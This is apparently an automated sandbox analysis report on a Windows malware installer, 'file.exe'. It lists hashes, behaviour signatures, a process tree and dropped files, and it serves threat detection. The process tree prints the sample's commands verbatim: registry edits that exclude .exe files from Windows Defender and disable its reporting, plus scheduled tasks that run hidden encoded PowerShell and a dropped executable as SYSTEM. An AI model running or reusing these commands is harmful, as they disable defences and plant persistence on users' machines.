Analysis

  • max time kernel
    103s
  • max time network
    59s
  • platform
    windows7_x64
  • resource
    win7-20221111-en
  • resource tags

    arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
  • submitted
    23-11-2022 07:03

General

  • Target

    file.exe

  • Size

    7.2MB

  • MD5

    984d97f41f1a93a1ce6afad2c4e059c7

  • SHA1

    10bd15b86da1ca1ff06fbe8ed755989d8229ac00

  • SHA256

    ace4afb27e3e749a91d68d71963fdb197c0170267c60528102558591c36c76cf

  • SHA512

    a84307fd7d908693515eecf991d63ab76cb8726c312e8ca1439e2df0c355ab45f4978e793e8e2bd0c7b6553eee8e21a909a72a7d754f49b7228e44ffac79f892

  • SSDEEP

    196608:91O6nb2FB0deUpUpvvbJlHZHjBEVl0RtyyJZqwMgTH:3O6ng0deGUpvllZZRdZqwbL

Score
8/10

Malware Config

Signatures

  • Executes dropped EXE 2 IoCs
  • Checks BIOS information in registry 2 TTPs 1 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:1712
    • C:\Users\Admin\AppData\Local\Temp\7zS2914.tmp\Install.exe
      .\Install.exe
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1428
      • C:\Users\Admin\AppData\Local\Temp\7zS2E04.tmp\Install.exe
        .\Install.exe /S /site_id "525403"
        3⤵
        • Executes dropped EXE
        • Checks BIOS information in registry
        • Loads dropped DLL
        • Drops file in System32 directory
        • Enumerates system info in registry
        • Suspicious use of WriteProcessMemory
        PID:1904
        • C:\Windows\SysWOW64\forfiles.exe
          "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:652
          • C:\Windows\SysWOW64\cmd.exe
            /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:760
            • \??\c:\windows\SysWOW64\reg.exe
              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
              6⤵
                PID:1072
              • \??\c:\windows\SysWOW64\reg.exe
                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
                6⤵
                  PID:1756
            • C:\Windows\SysWOW64\forfiles.exe
              "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:1828
              • C:\Windows\SysWOW64\cmd.exe
                /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:1760
                • \??\c:\windows\SysWOW64\reg.exe
                  REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
                  6⤵
                    PID:532
                  • \??\c:\windows\SysWOW64\reg.exe
                    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
                    6⤵
                      PID:1460
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /CREATE /TN "guTdSZuKl" /SC once /ST 01:27:07 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                  4⤵
                  • Creates scheduled task(s)
                  PID:1132
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /run /I /tn "guTdSZuKl"
                  4⤵
                    PID:1720
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /DELETE /F /TN "guTdSZuKl"
                    4⤵
                      PID:896
                    • C:\Windows\SysWOW64\schtasks.exe
                      schtasks /CREATE /TN "bvffOywEAsomCrOclN" /SC once /ST 08:06:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\tpJIuSEupLAEZXYwF\lJBlQvjZsVtqrIl\bSZWoEh.exe\" Bp /site_id 525403 /S" /V1 /F
                      4⤵
                      • Drops file in Windows directory
                      • Creates scheduled task(s)
                      PID:1148
              • C:\Windows\system32\taskeng.exe
                taskeng.exe {F2A0F030-7CC1-4C48-A209-9529768C5999} S-1-5-21-3406023954-474543476-3319432036-1000:VUIIVLGQ\Admin:Interactive:[1]
                1⤵
                  PID:1636
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                    2⤵
                    • Drops file in System32 directory
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1680
                    • C:\Windows\system32\gpupdate.exe
                      "C:\Windows\system32\gpupdate.exe" /force
                      3⤵
                        PID:1432
                  • C:\Windows\system32\gpscript.exe
                    gpscript.exe /RefreshSystemParam
                    1⤵
                      PID:1612

                    Network

                    MITRE ATT&CK Enterprise v6

                    Replay Monitor

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                    Downloads

                    • C:\Users\Admin\AppData\Local\Temp\7zS2914.tmp\Install.exe

                      Filesize

                      6.3MB

                      MD5

                      3340026591db231689cba0e3497be689

                      SHA1

                      4a086e82913728321640f1aa1c882929ac0c0ecf

                      SHA256

                      3d2f2b6e6c3d9fc9ea6a98f8fc95be017903f6c71c371bb72e65433016288358

                      SHA512

                      ba53d2fe3736491a8665dfc1e90c6ef56d88b37212416f2fc6200d274ada61aeee5bb0ed3d89d61feaf54e705b10bfaf9b1a2b50f718a28498bfeed62cdb75ef

                    • C:\Users\Admin\AppData\Local\Temp\7zS2914.tmp\Install.exe

                      Filesize

                      6.3MB

                      MD5

                      3340026591db231689cba0e3497be689

                      SHA1

                      4a086e82913728321640f1aa1c882929ac0c0ecf

                      SHA256

                      3d2f2b6e6c3d9fc9ea6a98f8fc95be017903f6c71c371bb72e65433016288358

                      SHA512

                      ba53d2fe3736491a8665dfc1e90c6ef56d88b37212416f2fc6200d274ada61aeee5bb0ed3d89d61feaf54e705b10bfaf9b1a2b50f718a28498bfeed62cdb75ef

                    • C:\Users\Admin\AppData\Local\Temp\7zS2E04.tmp\Install.exe

                      Filesize

                      6.8MB

                      MD5

                      195ac65216aad2f39a63ab39efbe915e

                      SHA1

                      80acc3f5e5c31a58acf1300cd4036054ef8d1d68

                      SHA256

                      6f75e52149b0cd3bfa595d220c3aa28362734a767783560959e621a4596c12fc

                      SHA512

                      dc039485497227fb032aaedb5eb7bbb28e02eb4e93cbb25bc976cc8c6ef9d62bc9a327ae88edfc694f50549ddea3497fcd14eb8d71ec5c53d56c3bcc83a7216e

                    • C:\Users\Admin\AppData\Local\Temp\7zS2E04.tmp\Install.exe

                      Filesize

                      6.8MB

                      MD5

                      195ac65216aad2f39a63ab39efbe915e

                      SHA1

                      80acc3f5e5c31a58acf1300cd4036054ef8d1d68

                      SHA256

                      6f75e52149b0cd3bfa595d220c3aa28362734a767783560959e621a4596c12fc

                      SHA512

                      dc039485497227fb032aaedb5eb7bbb28e02eb4e93cbb25bc976cc8c6ef9d62bc9a327ae88edfc694f50549ddea3497fcd14eb8d71ec5c53d56c3bcc83a7216e

                    • \Users\Admin\AppData\Local\Temp\7zS2914.tmp\Install.exe

                      Filesize

                      6.3MB

                      MD5

                      3340026591db231689cba0e3497be689

                      SHA1

                      4a086e82913728321640f1aa1c882929ac0c0ecf

                      SHA256

                      3d2f2b6e6c3d9fc9ea6a98f8fc95be017903f6c71c371bb72e65433016288358

                      SHA512

                      ba53d2fe3736491a8665dfc1e90c6ef56d88b37212416f2fc6200d274ada61aeee5bb0ed3d89d61feaf54e705b10bfaf9b1a2b50f718a28498bfeed62cdb75ef

                    • \Users\Admin\AppData\Local\Temp\7zS2914.tmp\Install.exe

                      Filesize

                      6.3MB

                      MD5

                      3340026591db231689cba0e3497be689

                      SHA1

                      4a086e82913728321640f1aa1c882929ac0c0ecf

                      SHA256

                      3d2f2b6e6c3d9fc9ea6a98f8fc95be017903f6c71c371bb72e65433016288358

                      SHA512

                      ba53d2fe3736491a8665dfc1e90c6ef56d88b37212416f2fc6200d274ada61aeee5bb0ed3d89d61feaf54e705b10bfaf9b1a2b50f718a28498bfeed62cdb75ef

                    • \Users\Admin\AppData\Local\Temp\7zS2914.tmp\Install.exe

                      Filesize

                      6.3MB

                      MD5

                      3340026591db231689cba0e3497be689

                      SHA1

                      4a086e82913728321640f1aa1c882929ac0c0ecf

                      SHA256

                      3d2f2b6e6c3d9fc9ea6a98f8fc95be017903f6c71c371bb72e65433016288358

                      SHA512

                      ba53d2fe3736491a8665dfc1e90c6ef56d88b37212416f2fc6200d274ada61aeee5bb0ed3d89d61feaf54e705b10bfaf9b1a2b50f718a28498bfeed62cdb75ef

                    • \Users\Admin\AppData\Local\Temp\7zS2914.tmp\Install.exe

                      Filesize

                      6.3MB

                      MD5

                      3340026591db231689cba0e3497be689

                      SHA1

                      4a086e82913728321640f1aa1c882929ac0c0ecf

                      SHA256

                      3d2f2b6e6c3d9fc9ea6a98f8fc95be017903f6c71c371bb72e65433016288358

                      SHA512

                      ba53d2fe3736491a8665dfc1e90c6ef56d88b37212416f2fc6200d274ada61aeee5bb0ed3d89d61feaf54e705b10bfaf9b1a2b50f718a28498bfeed62cdb75ef

                    • \Users\Admin\AppData\Local\Temp\7zS2E04.tmp\Install.exe

                      Filesize

                      6.8MB

                      MD5

                      195ac65216aad2f39a63ab39efbe915e

                      SHA1

                      80acc3f5e5c31a58acf1300cd4036054ef8d1d68

                      SHA256

                      6f75e52149b0cd3bfa595d220c3aa28362734a767783560959e621a4596c12fc

                      SHA512

                      dc039485497227fb032aaedb5eb7bbb28e02eb4e93cbb25bc976cc8c6ef9d62bc9a327ae88edfc694f50549ddea3497fcd14eb8d71ec5c53d56c3bcc83a7216e

                    • \Users\Admin\AppData\Local\Temp\7zS2E04.tmp\Install.exe

                      Filesize

                      6.8MB

                      MD5

                      195ac65216aad2f39a63ab39efbe915e

                      SHA1

                      80acc3f5e5c31a58acf1300cd4036054ef8d1d68

                      SHA256

                      6f75e52149b0cd3bfa595d220c3aa28362734a767783560959e621a4596c12fc

                      SHA512

                      dc039485497227fb032aaedb5eb7bbb28e02eb4e93cbb25bc976cc8c6ef9d62bc9a327ae88edfc694f50549ddea3497fcd14eb8d71ec5c53d56c3bcc83a7216e

                    • \Users\Admin\AppData\Local\Temp\7zS2E04.tmp\Install.exe

                      Filesize

                      6.8MB

                      MD5

                      195ac65216aad2f39a63ab39efbe915e

                      SHA1

                      80acc3f5e5c31a58acf1300cd4036054ef8d1d68

                      SHA256

                      6f75e52149b0cd3bfa595d220c3aa28362734a767783560959e621a4596c12fc

                      SHA512

                      dc039485497227fb032aaedb5eb7bbb28e02eb4e93cbb25bc976cc8c6ef9d62bc9a327ae88edfc694f50549ddea3497fcd14eb8d71ec5c53d56c3bcc83a7216e

                    • \Users\Admin\AppData\Local\Temp\7zS2E04.tmp\Install.exe

                      Filesize

                      6.8MB

                      MD5

                      195ac65216aad2f39a63ab39efbe915e

                      SHA1

                      80acc3f5e5c31a58acf1300cd4036054ef8d1d68

                      SHA256

                      6f75e52149b0cd3bfa595d220c3aa28362734a767783560959e621a4596c12fc

                      SHA512

                      dc039485497227fb032aaedb5eb7bbb28e02eb4e93cbb25bc976cc8c6ef9d62bc9a327ae88edfc694f50549ddea3497fcd14eb8d71ec5c53d56c3bcc83a7216e

                    • memory/532-82-0x0000000000000000-mapping.dmp

                    • memory/652-74-0x0000000000000000-mapping.dmp

                    • memory/760-78-0x0000000000000000-mapping.dmp

                    • memory/896-102-0x0000000000000000-mapping.dmp

                    • memory/1072-83-0x0000000000000000-mapping.dmp

                    • memory/1132-90-0x0000000000000000-mapping.dmp

                    • memory/1148-104-0x0000000000000000-mapping.dmp

                    • memory/1428-56-0x0000000000000000-mapping.dmp

                    • memory/1432-99-0x0000000000000000-mapping.dmp

                    • memory/1460-86-0x0000000000000000-mapping.dmp

                    • memory/1680-97-0x000007FEF2B20000-0x000007FEF367D000-memory.dmp

                      Filesize

                      11.4MB

                    • memory/1680-98-0x00000000025F4000-0x00000000025F7000-memory.dmp

                      Filesize

                      12KB

                    • memory/1680-100-0x00000000025F4000-0x00000000025F7000-memory.dmp

                      Filesize

                      12KB

                    • memory/1680-101-0x00000000025FB000-0x000000000261A000-memory.dmp

                      Filesize

                      124KB

                    • memory/1680-94-0x0000000000000000-mapping.dmp

                    • memory/1680-95-0x000007FEFBAC1000-0x000007FEFBAC3000-memory.dmp

                      Filesize

                      8KB

                    • memory/1680-96-0x000007FEF3680000-0x000007FEF40A3000-memory.dmp

                      Filesize

                      10.1MB

                    • memory/1712-54-0x0000000075591000-0x0000000075593000-memory.dmp

                      Filesize

                      8KB

                    • memory/1720-92-0x0000000000000000-mapping.dmp

                    • memory/1756-87-0x0000000000000000-mapping.dmp

                    • memory/1760-79-0x0000000000000000-mapping.dmp

                    • memory/1828-75-0x0000000000000000-mapping.dmp

                    • memory/1904-71-0x0000000010000000-0x0000000011000000-memory.dmp

                      Filesize

                      16.0MB

                    • memory/1904-64-0x0000000000000000-mapping.dmp